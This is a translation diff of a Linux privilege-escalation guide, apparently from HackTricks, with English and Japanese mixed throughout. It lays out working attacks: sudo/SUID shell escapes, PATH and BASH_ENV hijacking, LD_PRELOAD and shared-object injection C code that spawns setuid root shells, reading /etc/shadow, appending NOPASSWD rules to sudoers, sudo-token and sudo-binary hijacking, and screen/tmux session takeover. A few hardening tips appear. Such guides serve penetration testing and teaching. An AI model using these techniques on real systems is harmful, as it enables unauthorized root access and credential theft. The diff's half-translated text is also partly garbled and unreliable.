+619,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **ネットワーク** -ネットワークを列挙してマシンの位置を把握するのは常に興味深い。 +ネットワークを enumerate して、マシンの位置を把握するのは常に興味深い。 -### 一般的な列挙 +### 一般的な enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -653,14 +646,14 @@ lsof -i ``` ### Open ports -アクセスする前に操作できなかったマシン上で動作しているネットワークサービスは常に確認してください: +アクセスする前にやり取りできなかったマシン上で動作しているネットワークサービスを常に確認してください: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -sniff traffic が可能か確認してください。可能であれば、credentials を取得できるかもしれません。 +トラフィックをsniffできるか確認してください。sniffできれば、いくつかのcredentialsを取得できる可能性があります。 ``` timeout 1 tcpdump ``` @@ -668,7 +661,7 @@ timeout 1 tcpdump ### 一般的な列挙 -自分が**誰**か、どの**権限**を持っているか、システムにどの**ユーザー**が存在するか、どのユーザーが**ログイン**できるか、どのユーザーが**root権限**を持っているかを確認する: +システム上で自分が**who**なのか、どの**privileges**を持っているか、どの**users**が存在するか、どのアカウントが**login**でき、どのアカウントが**root privileges**を持っているかを確認してください： ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -692,12 +685,12 @@ gpg --list-keys 2>/dev/null ``` ### 大きな UID -一部の Linux バージョンは、**UID > INT_MAX** のユーザーが権限昇格できるバグの影響を受けていました。詳細: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**これを悪用するには**: **`systemd-run -t /bin/bash`** +一部の Linux バージョンは、**UID > INT_MAX** のユーザーが権限昇格できるバグの影響を受けていました。詳細: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh)、および [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit it** using: **`systemd-run -t /bin/bash`** ### グループ -root 権限を付与する可能性のある**グループのメンバー**かどうか確認してください: +root 権限を付与する可能性のあるグループの**メンバーかどうか**を確認する: {{#ref}} @@ -706,7 +699,7 @@ interesting-groups-linux-pe/ ### クリップボード -可能であれば、クリップボードの中に興味深いものがないか確認してください +可能であれば、クリップボードに興味深いものが入っていないか確認する ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -723,27 +716,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### 既知のパスワード -環境の**パスワードを知っている**場合は、そのパスワードを使って**各ユーザーにログインを試みてください**。 +環境内の任意のアカウントのパスワードを**知っている場合は**、そのパスワードで**各ユーザーとしてログインを試みてください**。 ### Su Brute -もし大量のノイズを出しても構わず、`su` と `timeout` バイナリがマシンに存在するなら、[su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) は `-a` パラメータでユーザーを brute-force することも試みます。 +多数のノイズを出すことを気にしない場合、かつ対象のマシンに `su` と `timeout` バイナリが存在する場合は、[su-bruteforce](https://github.com/carlospolop/su-bruteforce) を使ってユーザーをbrute-forceしてみることができます。\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) は `-a` パラメータでユーザーの brute-force も試みます。 ## Writable PATH の悪用 ### $PATH -もし $PATH のあるフォルダに**書き込みできる**ことが分かったら、別のユーザー（理想的には root）が実行するコマンド名で書き込み可能なフォルダ内に**backdoor を作成する**ことで権限昇格できる可能性があります。作成する backdoor は、$PATH 上であなたの書き込み可能なフォルダより前に位置するフォルダから**ロードされない**こと（つまり実行時にあなたのフォルダが参照されること）が重要です。 +$PATH のいずれかのフォルダに**書き込みできることが分かった場合**、別のユーザー（理想的には root）が実行するコマンド名で、かつ $PATH 内で**あなたの書き込み可能なフォルダより前にあるフォルダからロードされない**ものの名前を使って、書き込み可能なフォルダ内に**backdoor を作成する**ことで権限昇格できる可能性があります。 ### SUDO and SUID -sudo を使って実行できるコマンドがあるか、またはそれらに suid ビットが設定されている場合があります。以下で確認してください: +sudo を使って実行できるコマンドがあるか、または suid bit が設定されているコマンドがあるかもしれません。以下で確認してください: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -場合によっては、**予期しないコマンドの中にはファイルの読み取りや書き込み、さらにはコマンドを実行できるものがあります。** 例えば： +一部の **予期しないコマンドは、ファイルの読み書きやコマンドの実行を可能にします。** 例えば： ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -754,36 +747,36 @@ less>! ``` ### NOPASSWD -Sudoの設定により、ユーザーがパスワードを知らなくても別のユーザーの権限でコマンドを実行できることがある。 +Sudo の設定により、ユーザーがパスワードを知らなくても別のユーザーの権限でコマンドを実行できることがあります。 ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -この例では、ユーザー `demo` が `root` として `vim` を実行できます。ssh key を root directory に追加するか、`sh` を呼び出すことで shell を取得するのは非常に簡単です。 +この例ではユーザー `demo` が `root` として `vim` を実行できます。root directory に ssh key を追加するか、`sh` を呼び出すことで、簡単に shell を取得できます。 ``` sudo vim -c '!sh' ``` ### SETENV -このディレクティブは、何かを実行する際にユーザーが**環境変数を設定する**ことを許可します: +このディレクティブは、実行中にユーザーが **環境変数を設定する** ことを許可します: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -この例、**based on HTB machine Admirer** は、スクリプトを root として実行する際に任意の python library をロードするための **PYTHONPATH hijacking** に **vulnerable** でした: +この例は、**HTB machine Admirerに基づく**もので、スクリプトをrootとして実行する際に任意のpythonライブラリをロードするための**PYTHONPATH hijacking**に対して**脆弱でした**: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### BASH_ENV が sudo env_keep によって保持される → root shell -もし sudoers が `BASH_ENV` を保持している場合（例: `Defaults env_keep+="ENV BASH_ENV"`）、Bash の非対話型起動時の挙動を利用して、許可されたコマンドを呼び出すときに arbitrary code を root として実行できます。 +If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command. -- 動作する理由: 非対話型シェルでは、Bash は `$BASH_ENV` を評価し、ターゲットスクリプトを実行する前にそのファイルを source します。多くの sudo ルールはスクリプトやシェルラッパーの実行を許可しています。`BASH_ENV` が sudo によって保持されていると、あなたのファイルは root 権限で source されます。 +- なぜ動作するか: 非対話的なシェルでは Bash が `$BASH_ENV` を評価し、ターゲットスクリプトを実行する前にそのファイルを source します。多くの sudo ルールはスクリプトやシェルラッパーの実行を許可します。`BASH_ENV` が sudo によって保持されている場合、あなたのファイルは root privileges で source されます。 - 要件: -- 実行できる sudo ルール（`/bin/bash` を非対話的に呼び出すターゲット、または任意の bash スクリプト）。 +- 実行可能な sudo ルール（非対話的に `/bin/bash` を呼び出すターゲット、または任意の bash スクリプト）。 - `BASH_ENV` が `env_keep` に含まれていること（`sudo -l` で確認）。 - PoC: @@ -797,13 +790,13 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/ # You should now have a root shell ``` - ハードニング: -- `BASH_ENV`（および`ENV`）を`env_keep`から削除し、`env_reset`を優先する。 -- sudoが許可されたコマンドに対するシェルラッパーは避け、最小限のバイナリを使用する。 -- 保持された環境変数が使用される場合、sudoのI/Oログとアラートを検討する。 +- `env_keep` から `BASH_ENV`（および `ENV`）を削除し、`env_reset` を優先する。 +- sudo で許可されたコマンドに対するシェルラッパーは避け、最小限のバイナリを使用する。 +- 保持された環境変数が使用される場合、sudo の I/O ロギングおよびアラートを検討する。 -### Sudo 実行バイパスの経路 +### Sudo 実行をバイパスするパス -**ジャンプ**して他のファイルを読むか、**symlinks**を使用する。例えば sudoers ファイルでは: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** 他のファイルを読むか、**symlinks** を使用する。例えば sudoers ファイルでは: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -813,30 +806,30 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -もし **ワイルドカード** が使われている (\*)、さらに簡単になります: +もし **wildcard** が使用されている(\*)場合は、さらに簡単です: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **対策**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary: コマンドのパスが指定されていない場合 +### Sudo command/SUID binary コマンドのパスが指定されていない場合 -もし**sudo permission**が単一のコマンドに対して**パスが指定されずに**付与されている場合: _hacker10 ALL= (root) less_、PATH変数を変更することで悪用できます。 +もし**sudo permission**が単一のコマンドに対してパスを指定せずに付与されている場合: _hacker10 ALL= (root) less_、PATH 変数を変更して悪用できます。 ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -このテクニックは、**suid** バイナリ **がパスを指定せずに別のコマンドを実行する場合（必ず** _**strings**_ **で怪しい SUID バイナリの内容を確認してください）**。 +この手法は、**suid** バイナリがパスを指定せずに別のコマンドを実行する場合にも使用できます（奇妙な SUID バイナリの内容は常に _**strings**_ で確認してください）。 -[実行用のPayload例.](payloads-to-execute.md) +[Payload examples to execute.](payloads-to-execute.md) -### SUID バイナリ（コマンドのパス指定） +### SUID binary がコマンドのパスを指定している場合 -もし **suid** バイナリが **パスを指定して別のコマンドを実行する** 場合、suid ファイルが呼び出すコマンド名と同じ名前の関数を **export a function** してみてください。 +もし**suid**バイナリがパスを指定して別のコマンドを実行している場合、suid ファイルが呼び出しているコマンド名で関数を作成し、**export a function** を試すことができます。 -例えば、もし suid バイナリが _**/usr/sbin/service apache2 start**_ を呼び出すなら、同名の関数を作成して export する必要があります： +例えば、もし suid バイナリが _**/usr/sbin/service apache2 start**_ を呼び出している場合、その関数を作成して export してください: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -845,14 +838,14 @@ export -f /usr/sbin/service ### LD_PRELOAD & **LD_LIBRARY_PATH** -環境変数 **LD_PRELOAD** は、ローダーが他のすべてのライブラリよりも先に読み込む 1つまたは複数の共有ライブラリ（.so ファイル）を指定するために使用されます。標準 C ライブラリ（`libc.so`）も含まれます。この処理はライブラリのプリロードと呼ばれます。 +**LD_PRELOAD** 環境変数は、標準の C ライブラリ（`libc.so`）を含む他のすべてのライブラリより前にロードされるように、1つ以上の共有ライブラリ（.so ファイル）をローダーに指定するために使用されます。このプロセスはライブラリのプリロードとして知られています。 -しかし、この機能が悪用されるのを防ぎ、システムのセキュリティを維持するために、特に **suid/sgid** 実行ファイルに関して、システムはいくつかの条件を強制します: +ただし、特に **suid/sgid** 実行ファイルに対する悪用を防ぎシステムのセキュリティを維持するために、システムはいくつかの条件を強制します: - ローダーは、real user ID (_ruid_) が effective user ID (_euid_) と一致しない実行ファイルに対して **LD_PRELOAD** を無視します。 -- suid/sgid を持つ実行ファイルの場合、プリロードされるのは標準パス内でかつ suid/sgid でもあるライブラリのみです。 +- suid/sgid を持つ実行可能ファイルでは、プリロードされるのは標準パスにあり、かつ suid/sgid のライブラリのみです。 -Privilege escalation は、`sudo` でコマンドを実行する権限があり、`sudo -l` の出力に **env_keep+=LD_PRELOAD** が含まれている場合に発生する可能性があります。この設定により、`sudo` でコマンドを実行しても **LD_PRELOAD** 環境変数が保持され認識されるため、結果として任意のコードが elevated privileges で実行される可能性があります。 +Privilege escalation は、`sudo` でコマンドを実行する権限があり、かつ `sudo -l` の出力に **env_keep+=LD_PRELOAD** が含まれている場合に発生する可能性があります。この設定により、コマンドが `sudo` で実行されても **LD_PRELOAD** 環境変数が保持され認識されるようになり、結果として権限昇格した状態で任意のコードが実行される可能性があります。 ``` Defaults env_keep += LD_PRELOAD ``` @@ -869,7 +862,7 @@ setuid(0); system("/bin/bash"); } ``` -次に、**コンパイルする**には、次を使用します: +次に、**compile it**を使用して: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles @@ -879,7 +872,7 @@ gcc -fPIC -shared -o pe.so pe.c -nostartfiles sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 類似の privesc は攻撃者が **LD_LIBRARY_PATH** env variable を制御している場合に悪用され得る。なぜなら攻撃者がライブラリが検索されるパスを制御できるからだ。 +> 攻撃者が **LD_LIBRARY_PATH** 環境変数を制御できる場合、同様の privesc が悪用される可能性があります。なぜならライブラリが検索されるパスを攻撃者が制御できるからです。 ```c #include #include @@ -901,13 +894,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -通常と異なる**SUID**権限を持つbinaryに遭遇した場合、正しく**.so**ファイルをロードしているか確認することをおすすめします。これは次のコマンドを実行して確認できます: +通常とは異なる **SUID** 権限を持つ binary に遭遇した場合、**.so** ファイルを正しく読み込んでいるか確認するのが良い。次のコマンドを実行して確認できます: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -例えば、_"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ のようなエラーに遭遇した場合、それは悪用の可能性を示唆します。 +例えば、_"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ のようなエラーに遭遇した場合、悪用の可能性を示唆します。 -これを悪用するには、例えば _"/path/to/.config/libcalc.c"_ というCファイルを作成し、以下のコードを含めます: +これを悪用するには、例えば _"/path/to/.config/libcalc.c"_ という C ファイルを作成し、以下のコードを記述します: ```c #include #include @@ -918,13 +911,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -このコードは、コンパイルして実行すると、ファイルのパーミッションを操作し、特権昇格したシェルを実行することで権限を昇格させることを目的としています。 +このコードは、コンパイルして実行すると、ファイル権限を操作し、昇格した権限の shell を実行することで権限を昇格させることを目的としています。 -上記の C ファイルを shared object (.so) ファイルにコンパイルするには、次のようにします: +上記の C ファイルを共有オブジェクト (.so) ファイルにコンパイルするには: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -最後に、影響を受けた SUID binary を実行すると、エクスプロイトがトリガーされ、システムが侵害される可能性があります。 +最終的に、影響を受けた SUID バイナリを実行すると exploit がトリガーされ、潜在的に system compromise を引き起こす可能性があります。 ## Shared Object Hijacking ```bash @@ -936,7 +929,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -書き込み可能なフォルダからライブラリをロードする SUID binary を見つけたので、そのフォルダに必要な名前でライブラリを作成しましょう: +SUID binary が、我々が write できる folder から library を load していることが分かったので、その folder に必要な name の library を作成します: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -957,9 +950,9 @@ that means that the library you have generated need to have a function called `a ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) は、攻撃者がローカルのセキュリティ制限を回避するために悪用できるUnixバイナリを厳選してまとめたリストです。[**GTFOArgs**](https://gtfoargs.github.io/) は、コマンドに**引数のみを注入できる**場合を対象にした同様のプロジェクトです。 +[**GTFOBins**](https://gtfobins.github.io) は、攻撃者がローカルのセキュリティ制限を回避するために悪用できる Unix バイナリを厳選したリストです。 [**GTFOArgs**](https://gtfoargs.github.io/) は、コマンドに対して **only inject arguments** できるケースに特化した同様のリストです。 -このプロジェクトは、Unixバイナリの正規の機能を収集しており、それらは break out restricted shells、escalate or maintain elevated privileges、transfer files、spawn bind and reverse shells、およびその他の post-exploitation tasks の遂行に悪用され得ます。 +The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -978,60 +971,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -`sudo -l` にアクセスできる場合、ツール [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) を使用して、sudo のルールを悪用できる方法が見つかるかどうかを確認できます。 +If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. ### Reusing Sudo Tokens -パスワードがわからないが **sudo access** がある場合、権限を昇格するために **waiting for a sudo command execution and then hijacking the session token** という手法を利用できます。 +In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. Requirements to escalate privileges: -- あなたは既にユーザー _sampleuser_ としてシェルを持っている -- _sampleuser_ は **used `sudo`** によって過去 **last 15mins** に何かを実行している（デフォルトではこれは、パスワードを入力せずに `sudo` を使える sudo トークンの有効期間です） -- `cat /proc/sys/kernel/yama/ptrace_scope` が 0 である -- `gdb` にアクセスできる（アップロードできること） +- 既に _sampleuser_ としてシェルを持っていること +- _sampleuser_ have **used `sudo`** to execute something in the **last 15mins** (by default that's the duration of the sudo token that allows us to use `sudo` without introducing any password) +- `cat /proc/sys/kernel/yama/ptrace_scope` が 0 であること +- `gdb` is accessible (you can be able to upload it) (You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) -If all these requirements are met, **次を使用して権限を昇格できます:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. これを使って **セッション内の sudo トークンを有効化**できます（自動的に root シェルが得られるわけではありません。`sudo su` を実行してください）: +- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- その **second exploit** (`exploit_v2.sh`) は _/tmp_ に **root 所有で setuid の** sh shell を作成します +- **2番目の exploit** (`exploit_v2.sh`) は _/tmp_ に setuid が設定された root 所有の sh シェルを作成します ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **3番目の exploit** (`exploit_v3.sh`) は、**sudoersファイルを作成し、sudo tokens を永続化してすべてのユーザーが sudo を使用できるようにします** +- **3番目の exploit** (`exploit_v3.sh`) は **sudoers file を作成し**、**sudo tokens を永続化し、すべてのユーザーが sudo を使用できるようにします** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -フォルダ自体、またはフォルダ内に作成されたファイルのいずれかに対して**書き込み権限**がある場合、バイナリ[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)を使って**ユーザーとPIDのsudoトークンを作成**できます。\ -例えば、ファイル _/var/run/sudo/ts/sampleuser_ を上書きでき、かつそのユーザーとしてPIDが1234のシェルを持っている場合、パスワードを知らなくても次のようにして**sudo権限を取得**できます: +フォルダ自体、またはフォルダ内に作成されたファイルのいずれかに**書き込み権限**がある場合、バイナリ [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) を使用して**ユーザーとPIDのsudo tokenを作成**できます。\ +例えば、ファイル _/var/run/sudo/ts/sampleuser_ を上書きでき、かつそのユーザーとして PID 1234 のシェルを持っている場合、パスワードを知らなくても以下を実行することで**sudo 権限を取得**できます: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -ファイル `/etc/sudoers` および `/etc/sudoers.d` 内のファイルは、誰が `sudo` を使用できるかおよびその方法を設定します。これらのファイルは**by default can only be read by user root and group root**。\ -**If** このファイルを**read**できるなら、**obtain some interesting information**を得られる可能性があり、任意のファイルに**write**できるなら、**escalate privileges**が可能になります。 +ファイル `/etc/sudoers` と `/etc/sudoers.d` 内のファイルは、誰が `sudo` を使用できるか、またその方法を設定します。これらのファイルは**デフォルトではユーザー root とグループ root のみが読み取り可能です**。\ +**もし**このファイルを**読む**ことができれば、**興味深い情報を取得できる可能性があります**。また、任意のファイルに**書き込み**ができれば、**escalate privileges** することができます。 ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -書き込み権があれば、この権限を悪用できます。 +書き込みができるなら、この権限を悪用できます。 ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -これらの権限を悪用する別の方法: +これらの権限を悪用する別の方法： ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1040,17 +1033,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -OpenBSD向けの`doas`のように、`sudo`バイナリの代替となるものがいくつかあります。設定は`/etc/doas.conf`を確認してください。 +OpenBSD向けの`doas`など、`sudo`バイナリの代替がいくつかあります。設定は`/etc/doas.conf`で確認することを忘れないでください。 ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -If you know that a **ユーザが通常マシンに接続して権限昇格に `sudo` を使用する** and you got a shell within that user context, you can **新しい sudo 実行ファイルを作成する** that will execute your code as root and then the user's command. Then, **ユーザコンテキストの $PATH を変更する** (for example adding the new path in .bash_profile) so when the user executes sudo, your sudo executable is executed. +あるユーザが通常マシンに接続して `sudo` を使って権限昇格することが分かっていて、そのユーザコンテキスト内でシェルを取得している場合、**新しい sudo 実行ファイルを作成**して root としてあなたのコードを実行し、その後にユーザのコマンドを実行させることができます。次に、ユーザコンテキストの **$PATH を変更**（例えば .bash_profile に新しいパスを追加するなど）すると、ユーザが sudo を実行したときにあなたの sudo 実行ファイルが実行されます。 -Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +ユーザが別のシェル（bash 以外）を使っている場合は、新しいパスを追加するために別のファイルを修正する必要がある点に注意してください。例えば[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) は `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` を変更します。別の例は [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) にあります。 -または次のようなコマンドを実行するなど: +あるいは次のように実行することもできます： ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -libを`/var/tmp/flag15/`にコピーすると、`RPATH`変数で指定されているとおり、その場所でプログラムによって使用されます。 +`/var/tmp/flag15/` に lib をコピーすると、`RPATH` 変数で指定されているとおり、プログラムはこの場所の lib を使用します。 ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1101,7 +1095,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -次に、`/var/tmp` に悪意のあるライブラリを作成します。`gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` を実行します。 +次に、`gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` を使って `/var/tmp` に悪意のあるライブラリを作成します。 ```c #include #define SHELL "/bin/sh" @@ -1116,8 +1110,8 @@ execve(file,argv,0); ``` ## Capabilities -Linux capabilitiesはプロセスに対して利用可能なroot権限の**一部を提供します**。これによりrootの**権限がより小さく識別可能な単位に分割されます**。これらの各単位はプロセスに対して個別に付与できます。こうして権限の全体セットが縮小され、悪用のリスクが低減します。\ -以下のページを読んで、capabilitiesとそれを悪用する方法について**詳しく学んでください**: +Linux capabilities はプロセスに対して利用可能な root privileges の**サブセットを提供します**。これにより root の **privileges がより小さく識別可能な単位に分割され**、各単位を個別にプロセスへ付与できるようになります。こうして権限の全体量が減り、exploitation のリスクが低下します。\ +次のページを読んで、**capabilities とそれを悪用する方法について詳しく学んでください**: {{#ref}} @@ -1126,32 +1120,32 @@ linux-capabilities.md ## Directory permissions -ディレクトリでは、**"execute" のビット**は対象ユーザーが "**cd**" でフォルダに入れることを意味します。\ -**"read"** ビットはユーザーが**ファイルを一覧表示(list)**できることを意味し、**"write"** ビットはユーザーが**ファイルを削除**および**新規作成**できることを意味します。 +ディレクトリでは、**"execute"** ビットは該当ユーザーがフォルダに "**cd**" できることを意味します。\ +**"read"** ビットはユーザーがファイルを **list** できることを意味し、**"write"** ビットはファイルを **delete** したり新しいファイルを **create** できることを意味します。 ## ACLs -Access Control Lists (ACLs) は任意の権限の二次層を表し、従来の ugo/rwx 権限を**上書きすることができます**。これらの権限は、所有者やグループの一員でない特定のユーザーに対して許可や拒否を設定することで、ファイルやディレクトリへのアクセス制御を強化します。このレベルの**粒度により、より精密なアクセス管理が可能になります**。詳しくは[**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)を参照してください。 +Access Control Lists (ACLs) は任意の権限の第二レイヤーを表し、従来の ugo/rwx 権限を**上書きできる**ことがあります。これらの権限は、所有者でもグループでもない特定のユーザーに対してアクセスを許可または拒否することで、ファイルやディレクトリへのアクセス制御を強化します。このレベルの**細分化により、より正確なアクセス管理が可能**になります。詳細は [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux) を参照してください。 -**付与** ユーザー "kali" にファイルの読み書き権限を付与する: +**Give** user "kali" read and write permissions over a file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**取得** システムから特定のACLsを持つファイル: +**取得** システムから特定のACLを持つファイル: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## shell sessions を開く +## shell セッションを開く -**old versions** では、別ユーザー（**root**）のいくつかの**shell** session を**hijack**できる場合があります。\ -**newest versions** では、**your own user** の screen sessions にのみ**connect**できます。ただし、session 内に**interesting information inside the session**が含まれていることがあります。 +**古いバージョン**では、別のユーザー（**root**）の**shell**セッションを**hijack**できることがあります。\ +**最新のバージョン**では、**自分のユーザー**のscreenセッションにのみ**接続**できるようになっています。しかし、**セッション内の興味深い情報**が見つかることがあります。 -### screen sessions hijacking +### screen セッション hijacking -**List screen sessions** +**screen セッションを一覧表示** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1166,9 +1160,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -これは **古い tmux バージョン** の問題でした。root によって作成された tmux (v2.1) セッションを、非特権ユーザーとして hijack できませんでした。 +これは **古い tmux バージョン** による問題でした。非特権ユーザーとして、root によって作成された tmux (v2.1) セッションをhijackすることはできませんでした。 -**tmux セッションを一覧表示** +**tmux セッションを一覧表示する** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1176,7 +1170,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**セッションにアタッチする** +**セッションに接続する** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1186,53 +1180,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -例については **Valentine box from HTB** を確認してください。 +Check **Valentine box from HTB** for an example. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -2006年9月から2008年5月13日までの間にDebian系システム（Ubuntu、Kubuntuなど）で生成されたすべてのSSLおよびSSHキーはこの脆弱性の影響を受ける可能性があります。\ -このバグはこれらのOSで新しい ssh キーを作成する際に発生し、**可能な変種は32,768通りしかなかった**ためです。つまり、全ての可能性を計算でき、**sshの公開鍵を持っていれば対応する秘密鍵を探索できる**ということです。計算済みの候補はここで見つかります: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +2006年9月から2008年5月13日までの間にDebian系システム（Ubuntu、Kubuntuなど）で生成されたすべてのSSLおよびSSHキーはこのバグの影響を受ける可能性があります。\ +このバグはそれらのOSで新しい ssh キーを作成したときに発生します。**考えられる変種は32,768通りしかなかった**ためです。つまり全ての可能性を計算でき、**ssh public key を持っていれば対応する private key を検索できる**ということです。計算された候補は次で見つけられます: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values - **PasswordAuthentication:** パスワード認証が許可されているかどうかを指定します。デフォルトは `no` です。 -- **PubkeyAuthentication:** 公開鍵認証が許可されているかどうかを指定します。デフォルトは `yes` です。 -- **PermitEmptyPasswords**: 